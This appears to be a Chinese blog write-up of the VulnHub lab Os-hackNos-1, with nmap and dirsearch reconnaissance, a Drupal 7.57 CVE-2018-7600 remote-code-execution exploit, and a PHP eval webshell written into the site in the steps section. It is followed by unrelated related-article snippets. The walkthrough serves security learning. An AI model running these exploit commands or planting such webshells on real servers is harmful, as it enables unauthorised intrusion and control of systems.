【渗透测试】-vulnhub源码框架漏洞-Os-hackNos-1
vulnhub源码框架漏洞中的CVE-2018-7600-Drupal 7.57
文章目录
前言
1.靶场搭建:
2.信息搜集:
主机探测:
端口扫描:
目录扫描:
3.分析:
4.步骤:
1.下载CVE-2018-7600的exp
2.执行exp:
3.写入木马:
4.获取webshell
5.oday,1day,nday漏洞区别
前言 什么是源码框架漏洞?
源码框架是指在软件开发过程中,为了提高开发效率、简化开发流程、提高代码质量和可靠性的基础架构和模板。
若该框架中存在漏洞,hacker便可以此漏洞,迅速发起所谓的“1day攻击”-针对那些尚未应用相应安全补丁的、使用了该漏洞框架的网站或应用进行广泛而有效的渗透,严重威胁到用户数据的安全性和服务的稳定性。
1.靶场搭建:
请参考vulnhub靶机 Os-hackNos-1_os-hacknos-1无法找到ip地址-CSDN博客
编辑->虚拟网络编辑器->更改
Kali,靶机配置两次,使其ip地址处于同一网段上。
2.信息搜集:
主机探测:
Kali:192.168.147.130
靶机:192.168.147.145
端口扫描:
nmap -sT 192.168.147.145
22/tcp open ssh
80/tcp open http
目录扫描:
python dirsearch.py -u 192.168.147.145
发现登录页面:http://192.168.147.145/drupal/
爆破
用户名:
密码:
没爆出来
换一种思路
对http://192.168.147.145/drupal/进行目录扫描
得出存活目录:
200 - 317B - /drupal/.editorconfig
->没什么东西
200 - 174B - /drupal/.gitignore
->没用
200 - 32KB - /drupal/CHANGELOG.txt
得到/drupal版本信息,2018-今, Drupal 7.57
200 - 769B - /drupal/COPYRIGHT.txt
Java/php配置
200 - 1KB - /drupal/includes/
感觉没什么东西,还是大至翻一翻
ssh
代码审计-最后考虑。
Password
注释-密码范围,看这范围直接放弃
200 - 132KB - /drupal/includes/bootstrap.inc
主要得出php版本号:5.2.4
200 - 842B - /drupal/INSTALL.pgsql.txt
->好像和数据库有关,可就开放了两个端口,浪费时间……
200 - 868B - /drupal/INSTALL.mysql.txt
->这是教怎么创建数据库?和题没有一点关系。
200 - 1KB - /drupal/install.php
->没用
200 - 1KB - /drupal/install.php?profile=default
->没用
200 - 6KB - /drupal/INSTALL.txt
->又在提版本号
200 - 7KB - /drupal/LICENSE.txt
->没用
200 - 2KB - /drupal/MAINTAINERS.txt
->一堆介绍与,可惜没有泄露重要消息
200 - 849B - /drupal/modules/
200 - 271B - /drupal/profiles/minimal/minimal.info
一个下载文件
Drupal 7.57版本的“Minimal”发行版或配置,它仅启用了少数几个核心模块(如block和dblog),
200 - 743B - /drupal/profiles/standard/standard.info
200 - 278B - /drupal/profiles/testing/testing.info
200 - 2KB - /drupal/README.txt
接口之类的描述。
200 - 744B - /drupal/robots.txt
->python爬虫的君子协定,没有关系
200 - 648B - /drupal/scripts/
200 - 129B - /drupal/sites/all/libraries/README.txt
200 - 0B - /drupal/sites/example.sites.php
200 - 715B - /drupal/sites/all/modules/README.txt
->没什么用
200 - 545B - /drupal/sites/all/themes/README.txt
->一样
200 - 431B - /drupal/sites/README.txt
sites/all/,扩展
200 - 536B - /drupal/themes/
200 - 3KB - /drupal/UPGRADE.txt
->介绍版本
200 - 2KB - /drupal/web.config
->一节源代码,与目录拼接有关
200 - 42B - /drupal/xmlrpc.php
->没用
3.分析:
Drupal是使用PHP语言编写的开源内容管理框架,既然是框架,即我们找到它框架的漏洞就能找到http://192.168.147.145/drupal/的漏洞
而我们查明drupal的版本号是Drupal7.57,最著名的是远程代码执行(RCE)漏洞
CVE-2018-7600(远程代码执行漏洞)
- 影响:Drupal 7的Form API中存在一处远程代码执行漏洞,影响Drupal 7的多个版本,包括7.57。
- 方式:通过向Drupal站点发送特制的HTTP请求,攻击者可以利用该漏洞执行任意代码。这通常涉及对表单数据或Ajax调用的篡改。
- 利用:存在专门的Python脚本(如drupa7-CVE-2018-7600.py)用于自动化利用此漏洞。攻击者可以通过这些脚本测试目标网站是否存在该漏洞,并执行命令以获取敏感信息或进一步控制服务器。
4.步骤:
1.下载CVE-2018-7600的exp
git clone https://github.com/pimps/CVE-2018-7600.git
2.执行exp:
python drupa7-CVE-2018-7600.py http://192.168.147.145/drupal/ -c -l
3.写入木马:
python drupa7-CVE-2018-7600.py http://192.168.147.145/drupal/ -c "echo '<?php phpinfo(); ?>' > rce1.php" ->输出php
python drupa7-CVE-2018-7600.py http://192.168.147.145/drupal/ -c "echo '<?php @eval($_POST[cmd]); ?> '> rce2.php" ->上码子
4.获取webshell
蚁剑连接webshell
5.oday,1day,nday漏洞区别
0day漏洞:是指那些尚未被公众发现、官方尚未发布补丁的安全漏洞。这些漏洞的存在是未知的,软件开发商和用户都未意识到其存在,但攻击者已经知晓并可以利用它们进行攻击。
特点:
1.漏洞尚未被公开披露,软件厂商和用户都不知情。
2.由于漏洞未被修补,黑客可以利用它们进行持续性攻击,窃取敏感信息或瘫痪系统。
3.由于漏洞的未知性,软件厂商需要投入大量资源进行漏洞挖掘和修复工作。
1day漏洞:指那些已经被发现并公开披露,但软件厂商尚未发布修补程序或用户尚未广泛安装补丁的漏洞。这些漏洞的存在是已知的,但由于修补程序尚未到位,它们仍然可以被黑客利用。
特点:
1.漏洞已被公开披露,软件厂商和用户都已知情。
2.虽然漏洞已知,但由于修补程序尚未发布或用户尚未更新,黑客仍然可以利用它们进行攻击。然而,由于漏洞已经公开,用户和安全研究人员可以采取一些临时措施来降低风险。
nday漏洞:nday漏洞是指那些已经被软件厂商发现并发布了修补程序,但经过一段时间后,仍有部分用户尚未安装这些补丁的漏洞。这里的“n”代表天数,表示从漏洞被发现并发布补丁到当前时间的天数。
1.漏洞已被公开披露,并且软件厂商已经发布了修补程序。
2.由于修补程序的存在,黑客利用这些漏洞进行攻击的难度相对较大。然而,如果大量用户仍未更新补丁,黑客仍然有可能找到漏洞并利用它们。
相关文章:

【渗透测试】-vulnhub源码框架漏洞-Os-hackNos-1
vulnhub源码框架漏洞中的CVE-2018-7600-Drupal 7.57 文章目录 前言 1.靶场搭建: 2.信息搜集: 主机探测: 端口扫描: 目录扫描: 3.分析: 4.步骤: 1.下载CVE-2018-7600的exp 2.执行exp: 3.写入木…...

sqli-lab靶场学习(三)——Less8-10(盲注、时间盲注)
Less8 第八关依然是先看一般状态 http://localhost/sqli-labs/Less-8/?id1 然后用单引号闭合: http://localhost/sqli-labs/Less-8/?id1 这关的问题在于报错是不显示,那没办法通过上篇文章的updatexml大法处理。对于这种情况,需要用“盲…...

Pybullet 安装过程
Pybullet 安装过程(windows) 1. 安装C编译工具2. 安装Pybullet 1. 安装C编译工具 pybullet 需要C编译套件,直接装之前检查下,要不会报缺少某版本MVSC的error,最好的方式是直接下载visual studio,直接按默认…...

Error when custom data is added to Azure OpenAI Service Deployment
题意:在向 Azure OpenAI 服务部署添加自定义数据时出现错误。 问题背景: I receive the following error when adding my custom data which is a .txt file (it doesnt matter whether I add it via Azure Cognitive Search, Azure Blob Storage, or F…...

libreoffice word转pdf
一、准备一个word文件 运行: cd /root libreoffice --headless --convert-to pdf --outdir /root/output doc1.docx 发现中文乱码: 此时我们需要给linux 上添加中文字体: centos7 添加中文字体 再次运行正常: libreoffice --h…...

java -----泛型
泛型的理解和好处 泛型是在JDK5之后引入的一个新特性,可以在编译阶段约束操作的数据类型,并进行检查。 泛型的格式为 <数据类型> import java.util.ArrayList;SuppressWarnings({"all"}) public class Generic02 {public static void…...

Springboot 文件上传下载相关问题
文章目录 关于Springboot 文件上传下载问题解决方案注意事项文件上传文件下载文件删除文件在线打开在写练习的时候,发现了一些小小的问题,已经在 上述代码中体现。① 代码路径碰到中文的时候,会有乱码,需要转换(内容中…...
【Kotlin 与 Java 互操作】Java中调用带有默认值的Kotlin函数(十四)
导读大纲 1.0.1 Java 没有默认参数值的概念1.0.2 使用 JvmOverloads 来简化调用 1.0.1 Java 没有默认参数值的概念 因此当从 Java 调用带有默认参数值的 Kotlin 函数时 1. 必须明确指定所有参数值 fun <T> joinToString(collection: Collection<T>,separator: St…...

点赞系统实现
点赞功能是社交、电商等几乎所有的互联网项目中都广泛使用。虽然看起来简单,不过蕴含的技术方案和手段还是比较多的。 下面将分享之前做的判题OJ系统的点赞系统的思路。 1.需求分析 点赞功能与其它功能不同,没有复杂的原型和需求,仅仅是一…...

c++进阶学习-----继承
1.继承的概念及定义 1.1继承的概念 继承(inheritance)机制是面向对象程序设计使代码可以复用的最重要的手段,它允许程序员在保持原有类特性的基础上进行扩展,增加功能,这样产生新的类,称派生类。 继承呈现了面向对象 程序设计的…...
C++学习笔记(37)
302、makefile 在实际开发中,项目的源代码文件比较多,按类型、功能、模块分别存放在不同的目录和文件中,哪 些文件需要先编译,那些文件后编译,那些文件需要重新编译,还有更多更复杂的操作。 make 是一个强大…...

Redis发布和订阅
Redis 发布订阅 (pub/sub) 是一种消息通信模式:发送者 (pub) 发送消息,订阅者(sub) 接收消息 可以实现进程间的消息传递。这种模式非常适用于实时消息传递、事件通知和消息分发等场景 Redis可以实现消息中间件MQ的功能,通过发布订阅实现消息…...

计算机毕设设计推荐-基于python+Djanog大数据的电影数据可视化分析
精彩专栏推荐订阅:在下方主页👇🏻👇🏻👇🏻👇🏻 💖🔥作者主页:计算机毕设木哥🔥 💖 文章目录 一、电影数据可视…...

dhtmlxGantt 甘特图 一行展示多条任务类型
效果如图: 后台拿到数据 处理之后如图: 含义: 如上图所示, 如果一行需要展示多个 需要给父数据的那条添加render:split属性, 子数据的parent为父数据的Id即可 切记 父数据的id 别为0 为0 时 会出现错乱 因为有些小伙伴提出分段展示的数据结构还是有点问题,下面展示一个完整…...

COLORmap
在这段MATLAB代码中,surf(peaks)、map的定义以及colormap(map)的调用共同完成了以下任务: 1. **绘制曲面图**: - surf(peaks):这个函数调用了MATLAB内置的peaks函数来生成数据,并使用surf函数将这些数据绘制成一个…...

手机在网状态查询接口如何用Java进行调用?
一、什么是手机在网状态查询接口? 手机在网状态查询接口,又叫运营商在网状态查询,手机号在网状态查询,传入手机号码,查询该手机号的在网状态,返回内容有正常使用、停机、在网但不可用、不在网(…...
mysql性能优化- 数据库配置优化
MySQL 性能优化 - 数据库配置优化 MySQL 是一个广泛使用的关系型数据库管理系统,但随着数据量的增长和访问频率的提高,其性能可能会成为瓶颈。为了保持高效的性能,除了应用层的查询优化和索引优化之外,数据库配置优化 也是非常重…...
(算法)大数的进制转换
题目描述 将一个长度最多为30位数字的十进制非负整数转换为二进制数输出输入描述: 多组数据,每行为一个长度不超过30位的十进制非负整数。 (注意是10进制数字的个数可能有30个,而非30bits的整数)解析 例子 :123&…...

演示jvm锁存在的问题
文章目录 1、AlbumInfoApiController --》testLock()2、redis添加键值对3、AlbumInfoServiceImpl --》testLock() 没有加锁4、使用ab工具测试4.1、安装 ab 工具4.2、查看 redis 中的值 5、添加本地锁 synchronized6、集群情况下问题演示 jvm锁:synchronized lock 只…...
Android SharedPreference详解
Android SharedPreference详解 SharedPreferences作为一种数据持久化的方式,是处理简单的key-value类型数据时的首选。 一般用法: //demo是该sharedpreference对应文件名,对应的是一个xml文件,里面存放key-value格式的数据. SharedPreferences sharedPreferences…...
基于算法竞赛的c++编程(28)结构体的进阶应用
结构体的嵌套与复杂数据组织 在C中,结构体可以嵌套使用,形成更复杂的数据结构。例如,可以通过嵌套结构体描述多层级数据关系: struct Address {string city;string street;int zipCode; };struct Employee {string name;int id;…...
【网络】每天掌握一个Linux命令 - iftop
在Linux系统中,iftop是网络管理的得力助手,能实时监控网络流量、连接情况等,帮助排查网络异常。接下来从多方面详细介绍它。 目录 【网络】每天掌握一个Linux命令 - iftop工具概述安装方式核心功能基础用法进阶操作实战案例面试题场景生产场景…...

手游刚开服就被攻击怎么办?如何防御DDoS?
开服初期是手游最脆弱的阶段,极易成为DDoS攻击的目标。一旦遭遇攻击,可能导致服务器瘫痪、玩家流失,甚至造成巨大经济损失。本文为开发者提供一套简洁有效的应急与防御方案,帮助快速应对并构建长期防护体系。 一、遭遇攻击的紧急应…...

DAY 47
三、通道注意力 3.1 通道注意力的定义 # 新增:通道注意力模块(SE模块) class ChannelAttention(nn.Module):"""通道注意力模块(Squeeze-and-Excitation)"""def __init__(self, in_channels, reduction_rat…...

SAP学习笔记 - 开发26 - 前端Fiori开发 OData V2 和 V4 的差异 (Deepseek整理)
上一章用到了V2 的概念,其实 Fiori当中还有 V4,咱们这一章来总结一下 V2 和 V4。 SAP学习笔记 - 开发25 - 前端Fiori开发 Remote OData Service(使用远端Odata服务),代理中间件(ui5-middleware-simpleproxy)-CSDN博客…...
rnn判断string中第一次出现a的下标
# coding:utf8 import torch import torch.nn as nn import numpy as np import random import json""" 基于pytorch的网络编写 实现一个RNN网络完成多分类任务 判断字符 a 第一次出现在字符串中的位置 """class TorchModel(nn.Module):def __in…...
Python+ZeroMQ实战:智能车辆状态监控与模拟模式自动切换
目录 关键点 技术实现1 技术实现2 摘要: 本文将介绍如何利用Python和ZeroMQ消息队列构建一个智能车辆状态监控系统。系统能够根据时间策略自动切换驾驶模式(自动驾驶、人工驾驶、远程驾驶、主动安全),并通过实时消息推送更新车…...

STM32---外部32.768K晶振(LSE)无法起振问题
晶振是否起振主要就检查两个1、晶振与MCU是否兼容;2、晶振的负载电容是否匹配 目录 一、判断晶振与MCU是否兼容 二、判断负载电容是否匹配 1. 晶振负载电容(CL)与匹配电容(CL1、CL2)的关系 2. 如何选择 CL1 和 CL…...
django blank 与 null的区别
1.blank blank控制表单验证时是否允许字段为空 2.null null控制数据库层面是否为空 但是,要注意以下几点: Django的表单验证与null无关:null参数控制的是数据库层面字段是否可以为NULL,而blank参数控制的是Django表单验证时字…...
MFE(微前端) Module Federation:Webpack.config.js文件中每个属性的含义解释
以Module Federation 插件详为例,Webpack.config.js它可能的配置和含义如下: 前言 Module Federation 的Webpack.config.js核心配置包括: name filename(定义应用标识) remotes(引用远程模块࿰…...